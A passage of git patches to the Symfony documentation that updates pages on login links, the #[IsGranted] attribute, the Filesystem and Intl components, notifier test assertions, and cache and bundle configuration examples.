+but you can change the lifetime per link using the third argument of the
+``createLoginLink()`` method::
+
+    // the third optional argument is the lifetime in seconds
+    $loginLinkDetails = $loginLinkHandler->createLoginLink($user, null, 60);
+    $loginLink = $loginLinkDetails->getUrl();
+
+.. versionadded:: 6.2
+
+    The option to customize the link lifetime was introduced in Symfony 6.2.

From f467db984bea0ba6458f0c9a9962c6120d5109c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 16:11:07 +0200
Subject: [PATCH 2155/5766] [Security] Document the #[IsGranted()] attribute

---
 security.rst | 28 +++++++++++++---------------
 1 file changed, 13 insertions(+), 15 deletions(-)

diff --git a/security.rst b/security.rst
index ba2c9717681..dcc0808421b 100644
--- a/security.rst
+++ b/security.rst
@@ -2198,8 +2198,10 @@ will happen:
 
 .. _security-securing-controller-annotations:
 
-Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
+Another way to secure one or more controller actions is to use an attribute or
+annotation. In the following example, all controller actions will require the
+``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require
+the ``ROLE_SUPER_ADMIN`` permission:
 
 .. configuration-block::
 
@@ -2211,15 +2213,11 @@ using annotations:
         use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
         /**
-         * Require ROLE_ADMIN for all the actions of this controller
-         *
          * @IsGranted("ROLE_ADMIN")
          */
         class AdminController extends AbstractController
         {
             /**
-             * Require ROLE_SUPER_ADMIN only for this action
-             *
              * @IsGranted("ROLE_SUPER_ADMIN")
              */
             public function adminDashboard(): Response
@@ -2233,17 +2231,11 @@ using annotations:
         // src/Controller/AdminController.php
         // ...
 
-        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+        use Symfony\Component\Security\Http\Attribute\IsGranted;
 
-        /**
-         * Require ROLE_ADMIN for all the actions of this controller
-         */
         #[IsGranted('ROLE_ADMIN')]
         class AdminController extends AbstractController
         {
-            /**
-             * Require ROLE_SUPER_ADMIN only for this action
-             */
             #[IsGranted('ROLE_SUPER_ADMIN')]
             public function adminDashboard(): Response
             {
@@ -2251,7 +2243,13 @@ using annotations:
             }
         }
 
-For more information, see the `FrameworkExtraBundle documentation`_.
+The ``#[IsGranted()]`` attribute is built-in in Symfony and it's recommended for
+modern applications. Using the ``@IsGranted()`` annotation requires to install
+an external bundle called `FrameworkExtraBundle`_.
+
+.. versionadded:: 6.2
+
+    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
 
 .. _security-template:
 
@@ -2690,7 +2688,7 @@ Authorization (Denying Access)
     security/access_denied_handler
     security/force_https
 
-.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
+.. _`FrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks

From 2766d70271add07d86959c727d5f30c2e1127334 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 6 Aug 2022 11:41:34 +0200
Subject: [PATCH 2156/5766] [Filesystem] Add type hints readlink()

Add type hints for readlink, return hints added in v6.0
---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d99e6036a27..20c3032a6a6 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -221,7 +221,7 @@ systems (unlike PHP's :phpfunction:`readlink` function)::
 
 Its behavior is the following::
 
-    public function readlink($path, $canonicalize = false)
+    public function readlink(string $path, bool $canonicalize = false): ?string
 
 * When ``$canonicalize`` is ``false``:
     * if ``$path`` does not exist or is not a link, it returns ``null``.

From 7c7c76ead3cd0e316a76233e309db611274c5681 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 6 Aug 2022 13:14:37 +0200
Subject: [PATCH 2157/5766] fix CI by reverting #17020

---
 .github/workflows/ci.yaml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 7174f5d4cf2..87ccb0b1d75 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -116,11 +116,6 @@ jobs:
             if: ${{ steps.find-files.outputs.files }}
             run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
-          - name: Allow Flex
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              composer config --no-plugins allow-plugins.symfony/flex true
-
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |

From f0353b8b97f2892af7a30e7777b092280e1c7149 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 6 Aug 2022 14:07:53 +0200
Subject: [PATCH 2158/5766] [Filesystem] Fix check path methods

Fix check for relative/absolute path.
---
 components/filesystem.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 83f9c59de3f..fc0482227e7 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -411,8 +411,8 @@ as necessary::
     echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project/uploads');
     // => ../config/config.yaml
 
-Use :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` and
-:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` to check whether a
+Use :method:`Symfony\\Component\\Filesystem\\Path::isAbsolute` and
+:method:`Symfony\\Component\\Filesystem\\Path::isRelative` to check whether a
 path is absolute or relative::
 
     Path::isAbsolute('C:\Programs\PHP\php.ini')

From ad310b2e3d2fdf5576823d9a725867e021cd690e Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 7 Aug 2022 22:43:58 +0200
Subject: [PATCH 2159/5766] [Intl] Add Scripts & Languages links

Add links to the code documents, i found that is useful for quick check to the code.
---
 components/intl.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 70e602cc1c2..6992c39a26b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -68,7 +68,7 @@ This component provides the following ICU data:
 Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``Languages`` class provides access to the name of all languages
+The :class:`Symfony\\Component\\Intl\\Languages` class provides access to the name of all languages
 according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3 (2T)`_ list::
 
     use Symfony\Component\Intl\Languages;
@@ -128,7 +128,7 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 
     The full support for alpha3 codes was introduced in Symfony 4.4.
 
-The ``Scripts`` class provides access to the optional four-letter script code
+The :class:`Symfony\\Component\\Intl\\Scripts` class provides access to the optional four-letter script code
 that can follow the language code according to the `Unicode ISO 15924 Registry`_
 (e.g. ``HANS`` in ``zh_HANS`` for simplified Chinese and ``HANT`` in ``zh_HANT``
 for traditional Chinese)::

From 96db4b8f0089882f0107879a56bcdbc35f9d2300 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 12:36:34 +0200
Subject: [PATCH 2160/5766] Minor tweak

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 711cdf588c1..dcf3934a8e2 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -815,4 +815,4 @@ but you can change the lifetime per link using the third argument of the
 
 .. versionadded:: 6.2
 
-    The option to customize the link lifetime was introduced in Symfony 6.2.
+    The argument to customize the link lifetime was introduced in Symfony 6.2.

From 497fb5de374cae5a14b5019a82a93585c005447d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 15:33:02 +0200
Subject: [PATCH 2161/5766] [Notifier][Testing] Document the notifier
 assertions

---
 testing.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/testing.rst b/testing.rst
index 2be185a81d8..78cba0e5914 100644
--- a/testing.rst
+++ b/testing.rst
@@ -970,6 +970,36 @@ Mailer Assertions
     address. This assertion normalizes addresses like ``Jane Smith
     <jane@example.com>`` into ``jane@example.com``.
 
+Notifier Assertions
+...................
+
+``assertNotificationCount(int $count, string $transportName = null, string $message = '')``
+    Asserts that the given number of notifications has been created
+    (in total or for the given transport).
+``assertQueuedNotificationCount(int $count, string $transportName = null, string $message = '')``
+    Asserts that the given number of notifications are queued
+    (in total or for the given transport).
+``assertNotificationIsQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given notification is queued.
+``assertNotificationIsNotQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given notification is not queued.
+``assertNotificationSubjectContains(MessageInterface $notification, string $text, string $message = '')``
+    Asserts that the given text is included in the subject of
+    the given notification.
+``assertNotificationSubjectNotContains(MessageInterface $notification, string $text, string $message = '')``
+    Asserts that the given text is not included in the subject of
+    the given notification.
+``assertNotificationTransportIsEqual(MessageInterface $notification, string $transportName, string $message = '')``
+    Asserts that the name of the transport for the given notification
+    is the same as the given text.
+``assertNotificationTransportIsNotEqual(MessageInterface $notification, string $transportName, string $message = '')``
+    Asserts that the name of the transport for the given notification
+    is not the same as the given text.
+
+.. versionadded:: 6.2
+
+    The Notifier assertions were introduced in Symfony 6.2.
+
 .. TODO
 ..  End to End Tests (E2E)
 ..  ----------------------

From 68aa9e165a06c8fb9af9e49d7c3657f43788768a Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 17 Jul 2022 17:42:51 +0200
Subject: [PATCH 2162/5766] Ensure config blocks are consistent

---
 bundles/best_practices.rst                    |  12 +-
 bundles/configuration.rst                     |  52 +--
 bundles/override.rst                          |   4 +-
 bundles/prepend_extension.rst                 |  30 +-
 cache.rst                                     | 308 ++++++++++--------
 components/dependency_injection.rst           |  24 +-
 .../_imports-parameters-note.rst.inc          |  10 +-
 .../dependency_injection/compilation.rst      |  13 +-
 .../http_foundation/session_configuration.rst |  21 +-
 components/serializer.rst                     |  18 +-
 components/var_dumper.rst                     |  17 +-
 11 files changed, 302 insertions(+), 207 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index c6e0521db82..64992cae3a9 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -421,8 +421,8 @@ The end user can provide values in any configuration file:
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <parameters>
                 <parameter key="acme_blog.author.email">fabien@example.com</parameter>
             </parameters>
@@ -432,7 +432,13 @@ The end user can provide values in any configuration file:
     .. code-block:: php
 
         // config/services.php
-        $container->setParameter('acme_blog.author.email', 'fabien@example.com');
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
+                ->set('acme_blog.author.email', 'fabien@example.com')
+            ;
+        };
 
 Retrieve the configuration parameters in your code from the container::
 
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 25254b7efcb..41c34ee7bbc 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -20,19 +20,22 @@ as integration of other related components:
 
     .. code-block:: yaml
 
+        # config/packages/framework.yaml
         framework:
             form: true
 
     .. code-block:: xml
 
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:form/>
             </framework:config>
@@ -40,9 +43,14 @@ as integration of other related components:
 
     .. code-block:: php
 
-        $container->loadFromExtension('framework', [
-            'form' => true,
-        ]);
+        // config/packages/framework.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'form' => true,
+            ]);
+        };
 
 Using the Bundle Extension
 --------------------------
@@ -69,24 +77,28 @@ can add some configuration that looks like this:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:acme-social="http://example.org/schema/dic/acme_social"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <acme-social:config>
-                <acme-social:twitter client-id="123" client-secret="your_secret"/>
+                <acme-social:twitter client-id="123"
+                    client-secret="your_secret"
+                />
             </acme-social:config>
-
-            <!-- ... -->
         </container>
 
     .. code-block:: php
 
         // config/packages/acme_social.php
-        $container->loadFromExtension('acme_social', [
-            'twitter' => [
-                'client_id'     => 123,
-                'client_secret' => 'your_secret',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('acme_social', [
+                'twitter' => [
+                    'client_id'     => 123,
+                    'client_secret' => 'your_secret',
+                ],
+            ]);
+        };
 
 The basic idea is that instead of having the user override individual
 parameters, you let the user configure just a few, specifically created,
@@ -242,8 +254,8 @@ For example, imagine your bundle has the following example config:
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://symfony.com/schema/dic/services
-            https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+            https://symfony.com/schema/dic/services/services-1.0.xsd"
+    >
         <services>
             <service id="acme.social.twitter_client" class="Acme\SocialBundle\TwitterClient">
                 <argument></argument> <!-- will be filled in with client_id dynamically -->
@@ -423,8 +435,8 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
         xsi:schemaLocation="http://symfony.com/schema/dic/services
             https://symfony.com/schema/dic/services/services-1.0.xsd
             http://acme_company.com/schema/dic/hello
-            https://acme_company.com/schema/dic/hello/hello-1.0.xsd">
-
+            https://acme_company.com/schema/dic/hello/hello-1.0.xsd"
+    >
         <acme-hello:config>
             <!-- ... -->
         </acme-hello:config>
diff --git a/bundles/override.rst b/bundles/override.rst
index bf53eb5ce3c..6cf3d37c386 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -139,8 +139,8 @@ to a new validation group:
         <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
-                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
+                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"
+        >
             <class name="FOS\UserBundle\Model\User">
                 <property name="plainPassword">
                     <constraint name="NotBlank">
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index c23f9133ff4..fe551f31083 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -127,29 +127,35 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
                 http://example.org/schema/dic/acme_something
                 https://example.org/schema/dic/acme_something/acme_something-1.0.xsd
                 http://example.org/schema/dic/acme_other
-                https://example.org/schema/dic/acme_something/acme_other-1.0.xsd">
-
+                https://example.org/schema/dic/acme_something/acme_other-1.0.xsd"
+        >
             <acme-something:config use-acme-goodbye="false">
                 <!-- ... -->
                 <acme-something:entity-manager-name>non_default</acme-something:entity-manager-name>
             </acme-something:config>
 
-            <acme-other:config use-acme-goodbye="false"/>
+            <acme-other:config use-acme-goodbye="false">
+                <!-- ... -->
+            </acme-other:config>
 
         </container>
 
     .. code-block:: php
 
         // config/packages/acme_something.php
-        $container->loadFromExtension('acme_something', [
-            // ...
-            'use_acme_goodbye' => false,
-            'entity_manager_name' => 'non_default',
-        ]);
-        $container->loadFromExtension('acme_other', [
-            // ...
-            'use_acme_goodbye' => false,
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('acme_something', [
+                // ...
+                'use_acme_goodbye' => false,
+                'entity_manager_name' => 'non_default',
+            ]);
+            $container->extension('acme_other', [
+                // ...
+                'use_acme_goodbye' => false,
+            ]);
+        };
 
 More than one Bundle using PrependExtensionInterface
 ----------------------------------------------------
diff --git a/cache.rst b/cache.rst
index 9982c33a7cf..73766284f21 100644
--- a/cache.rst
+++ b/cache.rst
@@ -77,10 +77,11 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
-                <framework:cache app="cache.adapter.filesystem"
+                <framework:cache
+                    app="cache.adapter.filesystem"
                     system="cache.adapter.system"
                 />
             </framework:config>
@@ -89,12 +90,16 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'app' => 'cache.adapter.filesystem',
-                'system' => 'cache.adapter.system',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'app' => 'cache.adapter.filesystem',
+                    'system' => 'cache.adapter.system',
+                ],
+            ]);
+        };
 
 The Cache component comes with a series of adapters pre-configured:
 
@@ -140,8 +145,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <!--
                 default_doctrine_provider: Service: cache.doctrine
@@ -164,23 +169,27 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                // Only used with cache.adapter.filesystem
-                'directory' => '%kernel.cache_dir%/pools',
-
-                // Service: cache.doctrine
-                'default_doctrine_provider' => 'app.doctrine_cache',
-                // Service: cache.psr6
-                'default_psr6_provider' => 'app.my_psr6_service',
-                // Service: cache.redis
-                'default_redis_provider' => 'redis://localhost',
-                // Service: cache.memcached
-                'default_memcached_provider' => 'memcached://localhost',
-                // Service: cache.pdo
-                'default_pdo_provider' => 'doctrine.dbal.default_connection',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    // Only used with cache.adapter.filesystem
+                    'directory' => '%kernel.cache_dir%/pools',
+
+                    // Service: cache.doctrine
+                    'default_doctrine_provider' => 'app.doctrine_cache',
+                    // Service: cache.psr6
+                    'default_psr6_provider' => 'app.my_psr6_service',
+                    // Service: cache.redis
+                    'default_redis_provider' => 'redis://localhost',
+                    // Service: cache.memcached
+                    'default_memcached_provider' => 'memcached://localhost',
+                    // Service: cache.pdo
+                    'default_pdo_provider' => 'doctrine.dbal.default_connection',
+                ],
+            ]);
+        };
 
 Creating Custom (Namespaced) Pools
 ----------------------------------
@@ -233,8 +242,8 @@ You can also create more customized pools:
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache default-memcached-provider="memcached://localhost">
                     <!-- creates a "custom_thing.cache" service
@@ -264,43 +273,47 @@ You can also create more customized pools:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'default_memcached_provider' => 'memcached://localhost',
-                'pools' => [
-                    // creates a "custom_thing.cache" service
-                    // autowireable via "CacheInterface $customThingCache"
-                    // uses the "app" cache configuration
-                    'custom_thing.cache' => [
-                        'adapter' => 'cache.app',
-                    ],
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'default_memcached_provider' => 'memcached://localhost',
+                    'pools' => [
+                        // creates a "custom_thing.cache" service
+                        // autowireable via "CacheInterface $customThingCache"
+                        // uses the "app" cache configuration
+                        'custom_thing.cache' => [
+                            'adapter' => 'cache.app',
+                        ],
 
-                    // creates a "my_cache_pool" service
-                    // autowireable via "CacheInterface $myCachePool"
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.filesystem',
-                    ],
+                        // creates a "my_cache_pool" service
+                        // autowireable via "CacheInterface $myCachePool"
+                        'my_cache_pool' => [
+                            'adapter' => 'cache.adapter.filesystem',
+                        ],
 
-                    // uses the default_memcached_provider from above
-                    'acme.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                    ],
+                        // uses the default_memcached_provider from above
+                        'acme.cache' => [
+                            'adapter' => 'cache.adapter.memcached',
+                        ],
 
-                    // control adapter's configuration
-                    'foobar.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                        'provider' => 'memcached://user:password@example.com',
-                    ],
+                        // control adapter's configuration
+                        'foobar.cache' => [
+                            'adapter' => 'cache.adapter.memcached',
+                            'provider' => 'memcached://user:password@example.com',
+                        ],
 
-                    // uses the "foobar.cache" pool as its backend but controls
-                    // the lifetime and (like all pools) has a separate cache namespace
-                    'short_cache' => [
-                        'adapter' => 'foobar.cache',
-                        'default_lifetime' => 60,
+                        // uses the "foobar.cache" pool as its backend but controls
+                        // the lifetime and (like all pools) has a separate cache namespace
+                        'short_cache' => [
+                            'adapter' => 'foobar.cache',
+                            'default_lifetime' => 60,
+                        ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
@@ -342,6 +355,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
 
             # config/services.yaml
             services:
+                # ...
+
                 app.cache.adapter.redis:
                     parent: 'cache.adapter.redis'
                     tags:
@@ -354,9 +369,11 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             <container xmlns="http://symfony.com/schema/dic/services"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                    https://symfony.com/schema/dic/services/services-1.0.xsd"
+            >
                 <services>
+                    <!-- ... -->
+
                     <service id="app.cache.adapter.redis" parent="cache.adapter.redis">
                         <tag name="cache.pool" namespace="my_custom_namespace"/>
                     </service>
@@ -368,12 +385,14 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function(ContainerConfigurator $container) {
+                $container->services()
+                    // ...
 
-                $services->set('app.cache.adapter.redis')
-                    ->parent('cache.adapter.redis')
-                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
+                    ->set('app.cache.adapter.redis')
+                        ->parent('cache.adapter.redis')
+                        ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+                ;
             };
 
 Custom Provider Options
@@ -415,11 +434,14 @@ and use that when configuring the pool.
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache>
-                    <framework:pool name="cache.my_redis" adapter="cache.adapter.redis" provider="app.my_custom_redis_provider"/>
+                    <framework:pool name="cache.my_redis"
+                        adapter="cache.adapter.redis"
+                        provider="app.my_custom_redis_provider"
+                    />
                 </framework:cache>
             </framework:config>
 
@@ -438,27 +460,34 @@ and use that when configuring the pool.
     .. code-block:: php
 
         // config/packages/cache.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use Symfony\Component\Cache\Adapter\RedisAdapter;
 
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.my_redis' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'provider' => 'app.my_custom_redis_provider',
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'cache.my_redis' => [
+                            'adapter' => 'cache.adapter.redis',
+                            'provider' => 'app.my_custom_redis_provider',
+                        ],
                     ],
                 ],
-            ],
-        ]);
-
-        $container->register('app.my_custom_redis_provider', \Redis::class)
-            ->setFactory([RedisAdapter::class, 'createConnection'])
-            ->addArgument('redis://localhost')
-            ->addArgument([
-                'retry_interval' => 2,
-                'timeout' => 10
-            ])
-        ;
+            ]);
+
+            $container->services()
+                ->set('app.my_custom_redis_provider', \Redis::class)
+                    ->factory([RedisAdapter::class, 'createConnection'])
+                    ->args([
+                        'redis://localhost',
+                        [
+                            'retry_interval' => 2,
+                            'timeout' => 10,
+                        ]
+                    ])
+            ;
+        };
 
 Creating a Cache Chain
 ----------------------
@@ -506,11 +535,14 @@ Symfony stores the item automatically in all the missing pools.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache>
-                    <framework:pool name="my_cache_pool" default-lifetime="31536000">
+                    <framework:pool name="my_cache_pool"
+                        default-lifetime="31536000"> <!-- One year -->
                         <framework:adapter name="cache.adapter.array"/>
                         <framework:adapter name="cache.adapter.apcu"/>
                         <framework:adapter name="cache.adapter.redis" provider="redis://user:password@example.com"/>
@@ -522,20 +554,24 @@ Symfony stores the item automatically in all the missing pools.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'default_lifetime' => 31536000, // One year
-                        'adapters' => [
-                            'cache.adapter.array',
-                            'cache.adapter.apcu',
-                            ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'my_cache_pool' => [
+                            'default_lifetime' => 31536000, // One year
+                            'adapters' => [
+                                'cache.adapter.array',
+                                'cache.adapter.apcu',
+                                ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+                            ],
                         ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 Using Cache Tags
 ----------------
@@ -602,11 +638,14 @@ to enable this feature. This could be added by using the following configuration
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache>
-                  <framework:pool name="my_cache_pool" adapter="cache.adapter.redis" tags="true"/>
+                    <framework:pool name="my_cache_pool"
+                        adapter="cache.adapter.redis"
+                        tags="true"
+                    />
                 </framework:cache>
             </framework:config>
         </container>
@@ -614,16 +653,20 @@ to enable this feature. This could be added by using the following configuration
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => true,
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'my_cache_pool' => [
+                            'adapter' => 'cache.adapter.redis',
+                            'tags' => true,
+                        ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 Tags are stored in the same pool by default. This is good in most scenarios. But
 sometimes it might be better to store the tags in a different pool. That could be
@@ -651,12 +694,17 @@ achieved by specifying the adapter.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
